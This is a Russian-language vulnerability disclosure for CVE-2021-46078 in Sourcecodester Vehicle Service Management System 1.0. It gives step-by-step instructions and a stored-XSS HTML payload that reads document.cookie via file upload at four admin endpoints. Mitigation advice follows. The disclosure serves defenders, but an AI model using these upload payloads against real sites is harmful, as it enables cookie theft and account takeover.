CVE-2021-46078
Название эксплойта: Vehicle Service Management System - 'Multiple' Загрузка файла приводит к хранимому межсайтовому скриптингу
Автор эксплойта: SANU P.L
CVE: CVE-2021-46078
CVSS: 4.8 MEDIUM
Ссылки:
Описание:
В Sourcecodester Vehicle Service Management System 1.0 существует уязвимость неограниченной загрузки файлов. Удаленный злоумышленник может загрузить вредоносные файлы, что приводит к уязвимости хранимого межсайтового скриптинга.
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
Эксплойт:
- Войдите в панель администратора http://localhost/vehicle_service/admin
- Перейдите в раздел My Account http://localhost/vehicle_service/admin/?page=user
Полезная нагрузка:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Сохраните приведенный выше HTML-код, например: XSS.html
- В разделе My Account введите все необходимые данные и выберите HTML-файл в поле Avatar.
- Нажмите кнопку Update.
- Откройте изображение аватара в новой вкладке.
- Запустится вредоносный JavaScript-код.
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
Эксплойт:
- Войдите в панель администратора http://localhost/vehicle_service/admin
- Перейдите в раздел User List и нажмите кнопку Create New.
Полезная нагрузка:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Сохраните приведенный выше HTML-код, например: XSS.html
- На странице Create New User введите все необходимые данные и выберите HTML-файл в поле Avatar.
- Нажмите кнопку Save.
- Откройте изображение аватара в новой вкладке.
- Запустится вредоносный JavaScript-код.
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
Эксплойт:
- Войдите в панель администратора http://localhost/vehicle_service/admin
- Перейдите в раздел Settings http://localhost/vehicle_service/admin/?page=system_info
Полезная нагрузка:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Сохраните приведенный выше HTML-код, например: XSS.html
- В разделе Settings введите все необходимые данные и выберите HTML-файл в поле System Logo.
- Нажмите кнопку Update.
- Откройте изображение System Logo в новой вкладке.
- Запустится вредоносный JavaScript-код.
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
Эксплойт:
- Войдите в панель администратора http://localhost/vehicle_service/admin
- Перейдите в раздел Settings http://localhost/vehicle_service/admin/?page=system_info
Полезная нагрузка:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Сохраните приведенный выше HTML-код, например: XSS.html
- В разделе Settings введите все необходимые данные и выберите HTML-файл в поле Website Cover.
- Нажмите кнопку Update.
- Откройте изображение Website Cover в новой вкладке.
- Запустится вредоносный JavaScript-код.
Воздействие:
Злоумышленник может загрузить вредоносный файл в нескольких конечных точках, что приводит к хранимому межсайтовому скриптингу.
Меры по смягчению:
Рекомендуется реализовать следующее:
- Никогда не принимайте имя файла и его расширение напрямую без белого списка фильтров.
- Если нет необходимости в символах Unicode, настоятельно рекомендуется принимать только буквенно-цифровые символы и только одну точку в качестве ввода для имени файла и расширения.
- Ограничьте размер файла максимальным значением, чтобы предотвратить атаки типа «отказ в обслуживании».
- Директория загрузки не должна иметь никаких прав на «выполнение».
- Не полагайтесь только на проверку на стороне клиента.